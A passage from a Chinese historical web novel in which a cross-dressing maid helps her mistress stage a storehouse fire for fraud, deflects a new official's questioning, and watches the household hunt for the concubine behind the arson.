“嗳,看还是要看的,毕竟将来还是蔓草......文公子在此经营嘛。”
宋瑾无法,只好进了小楼去看。
临街两间屋子,门板全卸后光线极好。贴着内墙有道木梯直达二楼,一层得配上柜台,还有酒柜,菜单也要准备。
宋瑾依着自己在二十一世纪所见的饭馆,在心中为这间未来的酒楼做装修。
后门打开是一个小院子,宋瑾瞧了瞧厨房的位置,不是很大,估摸着要增大。
房间有三间,到时候伙计厨子都能住下,自己还是得回那间大院子住着。
地方都打扫的很干净,宋瑾看完后院后又上了二楼去瞧。
临街一排窗户,推开窗户便能看见不远处的府衙大门。
看到这里宋瑾啧了一声,都说贼怕见官,宋瑾就是那个贼,整日对着官门难免心虚。
陈管事听她啧了一声,以为是有不满,又开始推荐起来,生怕跑了这单生意似的。
“这里原先生意也是极好的,东家四处走货,天南地北的货他都有,要不是突然要回老家,只怕也不会空出这样一间好铺子来。”
宋瑾听了忍不住问:“生意既做的好好的,为何要回家去?”
陈管事面色讪讪,心中直怪自己多嘴。
16. 起火
宋瑾既有了疑问,陈管事总得糊弄过去,因此只好解释道:“这里原先也是开的绸缎铺子,东家常往广东那头走货。也不知怎么地,年初病倒在了广东,原以为只是一场小病,不曾想竟克死他乡了。这原东家乃是徽州人,这家里人张罗着不就送回去了嘛,这才空置了出来。”
宋瑾明白了,原东家死了,怕来租的人觉得不吉利,所以陈管事瞒着,防止宋瑾转头告诉大奶奶去。
可宋瑾是无所谓的,位置合适,价格文雅能接受,大小也刚好,于是肯定了陈管事的选址。
“我倒是觉得这里极好,地段也合适,价格也不错,大小很适合做酒楼。”
“就是就是,那......咱们回去就这般同大奶奶说去?”
“好呀。”宋瑾满口应承下来。
事情办的十分顺利,除去对陈管事的信任外,也有文雅这类闺阁妇人极少上街,也少见外头的男人,因此对于外头消息的来源基本就靠着家里的管事。
因此陈管事禀报,宋瑾应和,文雅也挑不出问题来,于是这院子就这么赁下了,用的是文子晋的名字。
酒楼定下后,宋瑾松了一口气。这酒楼虽不是一心给文雅赚钱用的,却是她将来走出去用来赚钱的营生。先用文雅的酒楼试水,等摸熟了她也差不多脱籍了,到时候自立门户也有经验了。
晚间她在床上躺着,一门心思盘算着锅碗瓢盆鸡鸭鱼肉和账房伙计,门外忽听有人敲门。
“蔓草......”
声音低低的,宋瑾还是听出来是杜鹃的声音,忙爬下床开了门。
门外不止杜鹃一人,还有莲心等几个丫头。
杜鹃晃了晃手中的纸笔,得意道:“我拿到了。”
宋瑾一笑,让众人进门,又悄悄关上了门。
众人围着一盏昏黄油灯,拿水给那用过的砚台润了润,丫头们也没什么讲究,没得墨条去磨,就用手指头去磨砚台底,总有干涸的墨被磨出来。
宋瑾抓着笔,蘸了墨,在纸上默下第一首词,乔吉的《天净沙即事》。
“莺莺燕燕春春,花花柳柳真真。事事风风韵韵,娇娇嫩嫩,停停当当人人。”
嗯......是末两句。
简单,顺口,应景,字数还少,宋瑾觉得最是合适。
默完词,宋瑾把纸摊开给众人看,众人看纸如看天书,宋瑾得一个字一个字的解释。
“莺莺燕燕春春,就是黄莺呀,燕子呀,春天都来了,叽叽喳喳特别热闹。”
“花花柳柳真真,就是花都开了,柳树抽条了,嗯......真迷人。”
“事事风风韵韵,嗯......”
在宋瑾印象中,国画也好,诗词也好,讲究一个留白。她如今这一解释,颇有一种脚踏实地的意味在里头,一下子就破了诗意。
怪不得自己只能做事,而不能做艺术家,宋瑾想是有道理的,好在眼前的小鬼头们不懂得这些,她还能糊弄。
“是什么呀?”
杜鹃追问,宋瑾挠头答道:“就是行为举止特别的有风韵,就是......”
宋瑾伸出胳膊,尽力做了一个能体现身体曲线的动作,惹得众丫鬟直笑。
“你可不像有风韵的,论风韵三娘四娘才是真的,走起路来那个劲儿,你可学不来。”
“就是就是,从前老爷还在的时候,扭得更狠,现在没男人了,风骚劲都少了许多。”
......
宋瑾叹气,人的思想受视野限制,这是没办法的事情。她只好出声将众人的讨论拉回来。
“我们看下一句,娇娇嫩嫩......”
“这个我知道,就跟海棠花似的,粉粉嫩嫩的。”
宋瑾听了莲心抢话,笑了一声说是。
接着又解释下一句:“停停当当人人,就是说一个人特别的端正,像个君子一样。”
这下好了,几个丫头抬头看天,愣是没在脑子里想出一个人来。
宋瑾将众人思绪拉回:“你们先把这些字记下来,我开始教你们比划,你们用手指头跟着写,明白?”
众丫头点头,于是一群人都盯着宋瑾的手,看她一横一竖一撇一点,从上到下,从左到右,丫鬟们分别各记一个字,竟然也就记完了。
末了杜鹃问她:“你可会记账?”
她真把宋瑾当神仙了,什么都来问一下,可是宋瑾......
“若是给我个账本子,我应该很快能学会。”
复式记账法这时候还没有发明呢,不过没关系,等她将来自立门户后,她来发明,到时候必然清晰。
“那往后你去了酒楼,一定可以看到账本子吧?”
宋瑾明白过来,她想学着记账。
一个丫鬟哪里来的账要记,她是想帮文雅记账,这样或许可以少做些活,这劲头像极了从前的宋瑾。
“好,等我学会了,我回来教你。”
宋瑾结束了第一次教学,又送走了众人,这才自己爬上床。
自打这天开始,宋瑾文新和陈管事三人都各自忙开了。
文新过来支了银子,因为好些药材到了货,得付银取货。
这货取到了自然是不回家的,而是挪去了他跟宋瑾看过的位于马蹄巷的院子里,宋瑾也跟着搬了过去。
在文雅的授意下,宋瑾用文子晋的名字签下了两千两纹银的借契,三分息,由文新做保。
开酒楼用不了这么多,但文雅要她借这个数。两人按押的时候,嘴角都直抽抽。
一年利息六百两,真有良心。
坏处一起担了,但也有一个好处,两人此刻颇有点子同仇敌忾了。
银子自库房称重取出,文子晋是文雅的远房亲戚,借了银子算利息,倒是合规合矩的事情。
马蹄巷的那间小院自此银光闪闪起来,文新又从文家叫来了好些家丁守着,二人白日照常出去办事。
木工瓦匠,砌墙垒灶,柜台桌椅一个不能落下,还有菜谱。
宋瑾一个人是不够的,文雅又从家里调了两个灶上的婆子一起过来掌勺,新鲜菜式都由宋瑾手把手教好。
宋瑾在这事上一点也不含糊,教的仔仔细细的。她们不会她就得自
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己来,岂不是累死。
家里那头一下少了两个灶上的人,文雅直接叫两个烧火的掌勺,反正是做给梅林院和下人吃的,不妨碍她什么。
忙忙碌碌了近一个月,宋瑾几乎都没有回过柏家,全靠陈管事每日回去汇报进程。
五月初的一天,文新找到宋瑾,告诉她假药材已经填满了西苑,可以回去点火了。
宋瑾一听,差点一口唾沫啐过去。
买东西的钱你贪了,火却要老娘去放,狗东西。
心里头骂着,嘴上却说应当的,于是强拉着文新回了柏家一趟。
西苑角门紧锁,根本不叫外人进来,对下人说是里头有贵重的药材。
宋瑾叫人打开了进去瞧,好家伙,大半的柴火,这要是烧不尽,一查一个准。
宋瑾撇了文新一眼,文新憨笑:“反正都是烧的对不对,真材实料的多叫人心疼啊。”
宋瑾笑着道:“有道理,不过要是叫人发现了,察觉出猫腻了,咱们也就白忙活一场了。我看这样吧,咱们先报大奶奶,叫大奶奶拿主意吧。”
文新一听要报告给姑姑,立刻就不干了。
“不打紧的不打紧的。”
宋瑾还是那张笑脸:“您是真侄子,我是假亲戚,可不敢担这么大的风险。不过如果文公子可以自己独自处理这边的事情,那我只当今日没来这一遭,可好?”
文新面色难看起来,看宋瑾那个样子不大好说话,只好改口道:“我叫人再添些药材来吧。”
于是又叫人搬来了些质量不好的黄芪,麦冬等等,都是干货,易烧,文新甚至说要在屋里撒上火油。
宋瑾瞧他那个样子,只怕是要把柏家烧尽了,连忙拦住了。
两人瞧这架势,似乎差不多了,于是一同去禀报了文雅。
文雅倒是细心,想着过来看一眼,文新有心要拦也没拦住,宋瑾自然低头当做看不见文新卖力使的眼色。
商人看货极少走眼,文雅也是。瞄了两眼便知道怎么回事,斜眼看了文新一眼,终究什么话也没有讲。
“我看这几日天气干燥,是个起火的好日子,你们商量着烧一把。”
宋瑾文新乖乖道是。
这火得在后半夜里点才行,得人都入睡了,又在角落里,外头家丁离得远,烧起来无声无息的,等大了再救便来不及了。
宋瑾出主意的时候利落的很,可是真到了点火的时候也犯怵。
不会顺着花园里的花花草草烧到别的院子吧?
会不会有人报了官差,若是查问起来会不会发现猫腻?
文新那个王八蛋把事情交给宋瑾后就跑了,徒留宋瑾抓着钥匙在家里绞尽脑汁。
宋瑾坐在西苑里头犯难,此刻又真心觉得火油是个好主意了。
这样想着,宋瑾真的就跑出去找火油了,然而没想到的是,这火油还没浇到西苑的房子里,那把火就已经燃了起来。
宋瑾远远看着,那院子里火光自小到大,浓烟自少渐多,隐隐约约还看见一个小小的身影在火光的照耀下跑远了。
逃跑的方向是梅林院。
17. 新官
西苑里摆着假药材在柏家宅院里是个秘密,除了几个帮忙抬药材的家丁知道,旁人一概不知,权当是真材实料的昂贵药材。
因为宋瑾怂恿文雅开酒楼,家里厨子调走两个,这可苦了三房妾室。
梅林院里三个姨娘,除了二娘赵依柳活的像个哑巴,另外两人早就恨透了宋瑾。
于是在知道宋瑾拿了钥匙去看管西苑的时候,三四两房竟意外地合起伙来了,只是点火的人一致选择了春云,这个梅林院里跟宋瑾走的最近的丫鬟。
一顿棍棒之下,春云半夜里被打了出去,宋瑾离开时又忘了关门,于是这把火宋瑾还没动手,就这么起了。
宋瑾站在阴影中,眼看着春云跑远了,却一声不吭,甚至帮着盯稍。
火势一大,便瞒不住了,火光冲天之中,整个柏家喧闹起来。
有人拿了桶,有人拿着盆,全都往后头冲进来,几个晓事的家丁跟在里头添乱。加上夜又太深,救火兵丁甚至来不及出马救火,于是一场原本还可救助一把的火就这么把西苑烧尽了。
宋瑾算了算,估摸这场火烧了近三千两的银子进文雅的私人腰包里。
真划算。
柏家这一夜无人入眠,看着西苑成了灰烬,宋瑾和文雅都满意地吸了口气。
宋瑾上心,在火势快要熄灭时走近了去瞧,还好文新精明,塞进来的柴火都是细树枝子,一把火烧的干干净净,只有外边还留着一点点烧剩的黄芪,勉强算是证明这里曾经是药库了。
本来木质的房子,要起火也属正常,然而这件事还是闹大了,因为柏笑天那头知道了,于是派人过来问。
文雅自然不会隐瞒,否则她解释不了账上丢失的银子,于是柏家那头闹了起来,一大早的就报了官,死活要有人担起这份损失。
官差来的时候,宋瑾正在紫竹院陪着文雅扮演着愁眉苦脸的把戏,外头忽然有人来报,府衙派人来查起火一事。
宋瑾在屋里听着,浑身一哆嗦,她这个“贼”终于还是要见官了。
她扶着文雅,两人都揉了揉眼眶,红通通的出去见人。
经过花园时便看见里头站满了衙门皂隶,文雅又抹了把脸,哭将开来。
“我老婆子是造的什么孽啊,这才没了夫主,家中又起大火,这可是家主多年的心血呀,全都毁了,全都毁了......”
说着呜呜几声,宋瑾也跟着抹眼泪。两人就这么一边演着一边走进了烧成灰烬的西苑里。
擦过眼睛之后的宋瑾看向院内,尚冒轻烟的灰烬前立着一个站得笔直的男人。
只见那人头戴云巾,身穿一袭鲜绿缎地祥云暗纹的道袍,腰系同色绦带,脚蹬石青色缎靴。肩头宽阔,身型挺拔,双手背负,宛若青竹一般立在那里。即使不看脸色也能感受周身散发出来的威严气场,何况周边还有一群围着他,一样站得笔直的皂隶。
宋瑾心中纳闷,看衣着不似官差,偏偏周围人恭恭敬敬,一定有猫腻。
就在宋瑾胡思乱想间,那人忽然回头,四目对望间宋瑾不由自主地后退了一小步。
完了。
青竹雕成了寒冰剑,宋瑾这一身的假皮有不保的风险。
那人也怪,一双眼睛对上宋瑾之后便直勾勾地盯着她,目光犀利,盯得宋瑾魂差点都飞了出去,更别提看清那人长什么样子了,事后想起来就两个字:犀利。
察觉出什么来了么?可千万别被抓到什么把柄。
宋瑾这样想着,那人已经开始问话了。
“贵府昨夜起火,为何没有报官?”声音低沉,自带威严。
文雅抽抽搭搭道:“本就是深夜起火,又有宵禁,如何能去报官。”
那人又问:“为何早上不去?”
文雅再答:“早间派人来瞧过,都是些药材,也不曾伤人,报了官也赔不来我的药材呀。”
说完便开始以手掩面,放声大哭起来,宋瑾赶紧跟着学。
哪晓得她刚抽两嗓子,那人就冲着她来了。
“你是何人?”
声音犀利,寒冰一般射来,五月的天气愣是问得宋瑾起了一身鸡皮疙瘩。
宋瑾忙做了个呼吸稳住心神,压下了行万福礼的本能,拱手答道:“在下文子晋,自乡下来投奔姑母。”
说完微抬眼皮,便瞧见那人双眼微眯,定定地看着她,惊的她赶紧垂眼看向地面。
“这里的药材是谁在看管。”
宋瑾答:“昨夜是在下帮着看管。”
“哦,”那人意味深长的一声,接着宋瑾便看见那双石青色缎靴往自己的方向走来了。
完了。
她看向文雅,两人心领神会,若是证明不了这是天灾,此事必要有人出来承担责任才好。
谁呢?
思量间,那双缎靴已到眼前,低沉的质问声自头顶传来:“即是你在看管,那是何时起火?此地放置了何种易燃物品?为何没有及时救火?”
宋瑾不由自主地舔了两下因为紧张而干燥的嘴唇,答道:“昨夜星光甚好,在下夜间失眠,外出到花园中观赏夜色,因此延误了救火时机。”
“所以,”那声音冷冰冰的:“此次起火,是因你看管不利?”
宋瑾看了眼旁边的文雅,彼此都知道此事宋瑾不可承认,否则文子晋的这个假身份一揭穿,很多事情就圆不上了。
她扭过头来,面色凛然:“此事确实有在下的责任,只是当时在下在花园中偶然看见一个身影,疑似贼人闯入,便追了过去,故而延误了救火时机。”
“贼人?”那人面色更加冷峻:“既有贼人,为何不报官?”
宋瑾答道:“此贼并非外来,而是家中之人,在下又已认出,正要与姑母商议如何处理,因此耽误了报官。”
这话一出,忽听外头啪的一声响,宋瑾回头一看,正是春云趴在院门边正偷偷往里看。
此刻听到宋瑾说到起火前见到贼人,还是自家的,便认定是被发现了,慌得往后一退,踩断了身后的一根断木。
四目对视,宋瑾瞧见那双眼睛里全是惊恐,瘦小的身子不受控制地打着哆嗦。<
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p>宋瑾浑身鸡皮疙瘩一起,知道自己吓到她了。
身为奴仆,在主家纵火,烧的还是昂贵药材,她这条命怕是保不住了。
宋瑾想明白后,背着众人冲她挤出一丝笑意来,接着转过身来,对着眼前人道:“昨夜在下见人从西苑出去,一直往梅林院方向逃跑,在下追出去后看清了那人乃是一名女子,且进了梅林院的院门。”
“梅林院?”文雅有些吃惊,宋瑾并没有跟她提起过此事,只是如今这情形,她也不得不跟着演下去了。
“是呀,”宋瑾肯定道:“侄儿确实见人进了梅林院,是一个穿白绫袄的女子。因为知道那里是几位姨娘的住处,因此不敢深夜闯入抓人。但若是叫侄儿看上一眼,必能认出来。”
文雅一下明白过来,宋瑾不能自己担这失职的责任,所以想指认人。
只是梅林院她要指认谁呢?
“大人,若是方便,请容老身来安排此事。”
宋瑾鬼主意多,文雅先顺着她。而对于家中财产损失,官府也是不做处罚,只叫赔钱,因此要是这损失的一方能认下,确实也无需惊动官府。
因着这个原因,那青竹男子终于没再质问什么。
就在青竹男子准备回答之际,一个声音传来。
“舒白兄,恭喜啊,舒白兄。”
众人循声望去,就见一个头戴乌纱,身着蓝色交领大袖袍服,胸前缀着仙鹤祥云纹样的补子,腰系革带,脚上一双石青色皁靴的人大步走了进来。
宋瑾辨不清那补子是几品,倒是看见了系在革带上的印绶。
这才像个当官的样子嘛,至于之前的那个......
“卢大人。”
青竹杆子拱手道,不料被那位卢大人一拍胳膊:“何必跟我见外,昨日听说你要来,我高兴的不得了。本想着今日就能见着,谁曾想,你比我还积极,官服未换,人都到了案发现场了。”
青竹杆子道:“本要过几日才来履职,只是有些闲不住,路过府衙,恰巧遇见报官,便提前随人来看。”
那位卢大人热情招呼:“多年未归,可还适应。”
青竹杆子微微一笑,答道:“从小长大的地方,哪有不适应的。”
宋瑾见青竹杆子笑,倒觉得比刚刚好看许多,原先那样吓煞人也。
卢大人环视一周,问道:“这是纵火还是意外起火。”
“目前看来是有人恶意纵火了,还是自家人。”
说完他看向宋瑾,目光瞬间变冷,看得宋瑾双手紧捏。
她谎撒到哪里了?她吓的差点儿断片。
“哦,自家人纵火?”那卢大人也看向宋瑾和文雅,最后将视线停留在文雅身上道:“本官姓卢,乃是苏州府通判,这一位是新上任的苏州同知季大人。”
闹了半天的悬疑,宋瑾总算知道眼前是何人了。
苏州同知,正五品,而那人年纪轻轻,不过二十五上下的岁数,要么天赋异禀,要么......
哼!背后有人。
他高贵个什么劲儿?
18. 指认
后头的事情由文雅做下安排,撇开众官差,带着宋瑾和下人到了梅林院,连着三个姨娘一起出来,让宋瑾挨个指认。
春云也不例外,只是她听见说是一个穿白绫袄的便知道不是她,因此畏畏缩缩地站在人群中,等着指认。
只是一双眼睛,不受控制地瞥向宋瑾,生怕她临时改口。
相比较被打去纵火的春云,背后的唆使犯叶问芙和徐翠云面色淡定的好似不关她们的事一般,倒是身边知情的丫鬟,一个个恨不得把头垂到地上去。
一排人站在院中,文雅坐在一把交椅上,宋瑾站在众人面前挨个看过去,一只手伸到半空,随时准备点人。
叶问芙冲她翻着白眼,不为别的,就为她知道自己昨晚没出去,也知道眼前这个男装的宋瑾一定有秘密,因此有恃无恐。
就在主子们有恃无恐,丫鬟们屏息凝神之间,宋瑾忽然收回了手,走至文雅身边,低声说了些什么。
众人看见文雅脸色忽变,眼神朝人群一扫,也不知道宋瑾说了什么,就听见文雅道:“好了,你们都回去吧。”
叶问芙和徐翠云一听,得意地一笑,一甩袖子回了屋子,赵依柳也在下人的搀扶下回去了。
“那此事如何处置才好?”
文雅一边往外走,一边问起宋瑾来,此事实在不宜闹大。
“大奶奶,您别慌,说到底此事需要有人出来承担责任。既然有了罪魁,还是个女子。咱们求求情,能自行处置便好,最重要的是不能让四娘在众人面前揭穿了。”
文雅叹了口气,心中恼火。一是恼火宋瑾有了这出却不跟自己提前商议,就在官家面前提了这一嘴,二是她不敢想叶问芙居然真的敢做这种事。
可是宋瑾有她的道理,那个文新为什么拉她回来点火?那不就是找个炮灰么?她当然拖别人下水,还是个现成不冤枉的。
“眼下只好拉下这张老脸去求人了。”
这个亏她不吃都不行,万一叫人查出来里头是柴火,前头的功夫全都白费。
人一旦起了邪念,后头就要做无数的事情去掩盖。
文雅如此,宋瑾也是如此。
一众人扶着文雅走到二位官差面前,文雅进了厅便开始哭。
“都是老身的错,没有管教好家里人,让家中姐妹生了嫌隙,闯下这滔天大祸来。如今是没有烧到邻舍,若是烧上一星半点,老身万死难辞其咎啊......”
说完就开始一个劲儿地捶胸抹眼泪,宋瑾扶着人,余光瞧着那两个官差。
青竹杆子一如既往的严肃,倒是那位卢大人出了声:“嗳,此事与老夫人有何干系,即是有人点火,将人交出来便是,这衙门里自然会给您一个公道。”
文雅哭的更大声了:“大人要拿人,便拿了老身吧。是老身管教不利,教家里姐妹生了怨气,这才生出了这些歪心思,都是老身的错啊。”
说完人就要往下跪,那卢大人赶忙过来扶人,文雅却不起:“大人,此次罪犯乃是妇人,人还年轻,若是叫衙门拿了,往后可怎么过呀?大人只当成全一个女子的名声吧。”
卢大人犯了难,文雅哭得上气不接下气,青竹杆子不吭气。
就在两头拉扯之际,外头门人突然跑进厅来:“大奶奶,大奶奶,大老爷那头带着人来了。”
这一下文雅也顾不得拉扯了,抽噎着任由那位卢大人将她扶起。
“弟妹,咱们这一回说什么都要把立继的事情定下来。”
柏笑天这边是真的等不及了,这才几个月,直接烧了一间小院子,再等下去,这个家估计都要没了。
因此听说这边起火之后,早早就命人去报了官,自己则再次去请了族长来商议立继一事。
进门发完难才看清厅中有官差在,忙拱手作揖,称呼一声卢大人后,又对着坐在那里不动如山的季舒白犯了难。
“这位是?”
季舒白这才站起身来,拱手道:“本官乃是苏州府新任同知季昀,即日履职,今日匆忙,尚未更换官服。”
柏笑天一众人忙着行礼问候,末了对着两人道:“两位大人刚好在这里,也帮着我们评评理。我家兄弟去年年底去了,生前又无子嗣,按说该立亲侄为继。结果也不知怎的,弟妹死活要拖着立继一事,直拖到今天一把火燃起来,但凡能早些立我儿为继,今日必然不会出此大错。”
文雅早有准备,立刻接话道:“你们是什么心思,当老身不知道么?当初我夫也是一门心思经营生意,却叫你们带进了勾栏巷里,明明知道他身体不好,还带着他去喝花酒。我看他就是被你带着掏空了身子,才早早去了。”
“弟妹,这话何意?这腿长在人身上,他若不想谁有办法......”
双方吵的不可开交,柏笑天那边唾沫横飞,文雅这边眼泪直流,卢大人和季舒白面面相觑。
“瞧见没?报官不是为火,为了的是银子。”
卢大人,名骏年,表字思齐,在苏州任通判一职已有数年,对柏家的情形要比季舒白清楚许多,见着人吵起来了,一下就明白过来。
“双方不和,有的闹呢,回吧。”卢骏年在季舒白耳边轻声说道,季舒白扫了一圈,不知怎的,将视线落在了宋瑾身上。
宋瑾因他外表过于正直,一直防着他,因此当视线扫来之时立刻察觉到,视线过处,只觉得背后冷汗直冒。
“立继一事与族长商议即可,家务之事本官便不参与了。”说罢摆摆手便要走,任由柏家那房怎么拦着也不肯留。
卢骏年这样做不是没道理,苏州这样大,一年的事务不知道有多少,立继本是家事,把他扯进来做什么?不是为难人嘛?
若真要在宗祧顺序上改立,自然会有人递诉状上来,总之,不见状子不办案,他又不是什么闲人。
在这一点上,卢骏年要比初来乍到的季舒白要圆滑许多,因此打了个哈哈便带着人要走。
那头见官差不管,只好拉着文雅不撒手,说什么今天也要好好的议上一议。
好死不死,家中管事这两日在酒楼那边盯着事,家中无人送客,宋瑾叫
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了那声姑母,自然不能不帮着周全礼数,于是不情不愿的去送客了。
卢骏年逃难一般往前走,倒是季舒白,不晓得怎么回事,磨磨唧唧的,宋瑾觉得自己走得再快些就能踩着脚后跟了。
谁曾想,这脚后跟没踩上,前面那个人却停了下来。
石青色缎靴调过头来,宋瑾不敢抬眼,头顶一个声音响起,倒比之前温和些。
“不知道文公子今年多大年纪?”
宋瑾连忙拱手道:“今年刚满十七。”
“可曾参加过科考?”
这话问的宋瑾一愣,抬头看去,那人倒不似原先严肃,可是......她是个冒牌货啊。
“在下不善读书,先生也说学生愚钝,科举怕是没什么出路。”
季舒白听了眉头一皱:“哪里的先生?你才十七,怎的如此肯定?若是断错了,岂非误人子弟?”
他是好心,可是宋瑾却不堪问,万一兴致来了考她文章,那不是立刻穿帮。
一个邪恶的念头自宋瑾脑中闪过。
“在下对经义策论实在天赋有限,就是硬读,也是读不进去的。”
“那你平时读些什么?”
宋瑾抬起头来,面色认真道:“在下爱读些诗赋,例如温柔之容似玉,娇羞之貌如仙。英威灿烂,绮态婵娟......”
诗未念上几句,季舒白那原本被绿色衣裳衬的雪白的脸忽然发红,从脸颊直红到耳根,一改刚刚的温和模样,怒瞪着宋瑾,低骂一声:“狂放之徒!”
简直无耻至极。
季舒白是一片好心,看着宋瑾模样清秀,口中虽喊着文雅姑母,却穿一身蓝色棉布袍,便知道关系并不亲近,此次前来投靠,却只教看着库房,必然不受重视。
他原想若是聪明好学,这个年纪进入府学也是好的,谁知道刚问两句,居然问出这么个结果来,气的七窍生烟,恨铁不成钢,活该不受人重视。
当下也不再问,怒瞪一眼,拂袖而去。
宋瑾直等到那轿子出了柏家大门,人才长舒一口气。
可算是糊弄过去了,她都吓得快背过气去了。
论起官差,宋瑾上辈子接触不算少。
这商人不怕见官,怕的是见清官。而偏偏这个季舒白给她的印象就是清官,还是刚上任的清官,她可不想那火烧在自己头上,因此避之不及。
眼见着人走了,宋瑾也不再回正厅去看双方吵架。文雅作为主母,自有她的应对方法,何况她早就请过讼师了,眼下把话说开,大家写了状子递去衙门,接下来就看讼师了。
宋瑾不操这个心,因此直接绕道回了后院消除罪证。
撤了官差的火灾现场,宋瑾命人赶紧冲刷干净,该清理的全都清理掉,没烧完的,但凡还能烧着的,都塞进灶膛里给烧尽。
家丁们瞧着那些都沾了水汽,疑惑道:“这烧起来岂不是呛死人?”
“那就一次少烧一些,用来烧开水,总之都烧干净了。”
这叫销毁罪证,宋瑾盯的牢牢的。
19. 处罚
宋瑾在里头清理现场,文雅在外头应付柏家那房,莫名其妙地配合得当。
临近午时,紫竹院的玉兰忽然来传话,说是大奶奶让她去厅里一趟,脸色不大好,叫她小心应对。
宋瑾心里头清楚,银子得手了,柏家应付完了,该处理家事了,甚至可能还要处理她。
人刚走进厅里,宋瑾就看见坐在上首,阴沉着脸的文雅。心里倒是也不慌,走到前面行礼等着挨训斥。
皮糙肉厚的滚刀肉,把挨骂的话当做耳旁风听过就罢。
哪晓得站定后文雅也并不说话,宋瑾只好继续等着,这一等便等来梅林院一院子的人,一个都没有落下。
她瞧见春云那个小小身影缩在人堆里,眼睛止不住地往宋瑾这边瞟来。
“官差走了,那一房的人也走了,有些事情该交代现在可以交代了。”文雅声音低沉,质问众人:“说,昨天晚上的火是谁放的?”
叶问芙撇了眼身边的徐翠云,两个人俱不说话,赵依柳则是低着脑袋,从进来开始就没有抬起来过。
“大姐,官差还在咱们院里的时候不是认过一回了嘛,根本就没有认出来,我看根本就是蔓草在撒谎,撇清自己的干系。”
“哼!”
叶问芙说音刚落,便听文雅冷哼一声,中气十足地骂道:“那是给你们面子,要知道家中纵火是怎样的罪名,给官差抓去了,以为还能完完整整的回来嘛?给你们扒了衣裳,一顿板子下去,我看你们是不是还这么嘴硬。”
叶问芙绞着手中帕子,扭过头去看旁边的刘翠云,哪知道刘翠云根本不看她,顿时心头窝火。
明明也有她的份,结果居然一句话不说,全叫自己应对,顿时后悔开了这个口。
“好,主子不说,那就下人来说,今天要是没人不开口,一个个全都给我吊起来打。”
这一下子,底下跪倒一大片,叶问芙和徐翠云脸色也白了。
徐翠云开始狡辩起来:“大姐,这话怎么说的?明明是蔓草看着院子,如今西苑烧了,自然拿她是问,怎的问起我们来了?这也太偏心了吧?”
“偏心?”文雅怒瞪徐翠云:“要不是我今天跪在官差面前求情,说是女子纵火,也不曾烧到邻舍,求大人开个恩,你以为你们还能站在这里给我狡辩?”
“等官差抓过去过了堂,挨了板子,我看你们还怎么出门见人。”
文雅骂完,转头对着不知道什么时候围了一圈的家丁道:“给我把西苑的下人全都绑去柴房里单独问话,一盏茶时间里不吐出来的,就给我吊起来打。”
话音刚落,一群家丁拿着绳子就上来了,春云惊恐地看向宋瑾,宋瑾朝她摇摇头,她便没吭声。
宋瑾心里也郁闷,明明自己说的是叶问芙那边的人干的,为什么还要拉着一个院子的人出来问话。
但是一细想就明白过来了。
叶问芙这个性格,就算塞一个院里也吃不了大亏,今天她不认,她就罚整个院子的人,那就是被叶问芙拖累了,到时候指不定怎么恨她呢。
只是春云可怎么办?
宋瑾忍不住想上前说话,却被文雅给瞪了一眼,宋瑾心中郁闷至极,早知道就不攀扯叶问芙了。
她心里也纳闷,明明就没想过攀扯那边,怎么那个季舒白一问话,她为了自保,就给抖出来了呢?
果然还是自己太差劲了些,怕见这种太正直的人,遇上就没骨气的腿软,以后最好别碰上。
眼看着家丁们把下人们一个个捆上了要带走,叶问芙和徐翠云脸上有些着急起来,可是第一个开口求情的却是赵依柳。
“大姐,自打进了家门,我从未逆过你的意思,如今西苑着火,不管是天灾还是人为,都与我们无关呀。”
“我嫁进了柏家,便是柏家的人,哪有点火烧自己房屋的道理,您就是借我个胆子,我也不敢呀。您要问就问,我知道的都会答,何必绑了我的丫头。”
丫头东枝听了赵依柳在帮她求情,也立刻开始求情起来:“大奶奶,大奶奶,奴婢冤枉啊,奴婢做什么也不敢在家中放火呀。”
文雅自然知道不是她干的,只是非要借着这个机会去闹事。
“那你们倒是说说,那个跑进梅林院的人到底是谁?”
“根本就是胡扯,没准儿就是蔓草为了撇清干系,故意拉我们下水,否则怎么可能只有她看见了,当旁人都是瞎子嘛?”
叶问芙一个劲儿地往宋瑾身上推,宋瑾自然是不慌的,站出来道:“奴婢确实瞧见了一个人从西苑往梅林院的方向去了。”
“那你可认出来是谁?”
叶问芙大声质问,宋瑾撇了眼叶问芙,反问道:“我若是说认出来了呢?”
文雅听到此处,出声帮腔:“敢在家中纵火,奴婢没有那个胆子,我今天倒要看看,那个指使奴婢的主子到底姓什么?你们三个都给我在这里等着。”
这话的意思很明显了,捆起来的是奴婢,要抓的却是主子,就看谁先松口了。
宋瑾看着一众奴婢被抓走,心里也着急起来,不会真的要打吧?
她瞧着文雅那副样子,摆明了是要叶问芙好看,又怕牵连无辜的人,就在两难之际,忽然有家丁来报,有人开口了。
点火的人是春云,指使的人是叶问芙。
宋瑾在一边听得眉头直皱,那边叶问芙已经骂了起来。
“你放屁!哪个没心肝的东西敢往老娘头上泼脏水?老娘昨天夜里就没出过梅林院的大门......”
“所以你是指使了春云是不是?”
“胡扯!”叶问芙被追问的急了:“有本事叫到这里来问话,谁知道你们是不是背后胡编然后栽赃给我,你们这群小人,敢栽赃我!”
宋瑾此时才明白过来,这分开问话是什么意思。不管有没有人指认,反正就是要安在叶问芙的头上。
毕竟宋瑾单个指认是不够的,文雅要让众人心服口服,她才好狠狠地收拾了叶问芙。
不管这个指认是真是假,总之这个口子撕开了,这边便合不上了。
春云怕挨打,立刻就认了,红杏采薇两个贴身的丫鬟挨了打后也认了叶问芙逼迫春云去纵火一事。
话传到厅上来,叶问芙脸色惨白。
“胡说!胡说!你们胡说
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!”
徐翠云见此事没有攀扯上自己,倒是松了一大口气。
“哼!胡说?一个胡说,三个也胡说?那不都是你房里的丫头,你没干还敢赖上你了?”
叶问芙僵在那里,双唇颤抖着说不出话来。
“家中纵火,烧毁药材,那可都是些贵重药材,就是把你卖了也赔不起。要不是救火及时,只怕我整个柏家都要被你烧掉。你胆子真是大啊......”
文雅在上面训斥着,叶问芙没有了一开始的心气,一双曾经灵动的眼睛此刻显得无比呆滞,一句反驳的话也说不出来。
“不是我......不是我......大姐......不是我......”
“哼!不是你,那你倒说说是谁?”
叶问芙突然来了精神,眼睛里迸发出异样的光芒来,急切道:“有,有的,三姐她也说要放火啊,不是我一个人指使的......”
这下子大家都愣住了,宋瑾没想到徐翠云居然也掺和了进来。她当时看见了春云,立刻就猜到是叶问芙,至于叶问芙有没有跟人联合,她还没机会单独跟春云说话呢,因此什么也不知道。
结果现在叶问芙主动把徐翠云给吐了出来。
可是徐翠云哪里是任人攀扯的料。
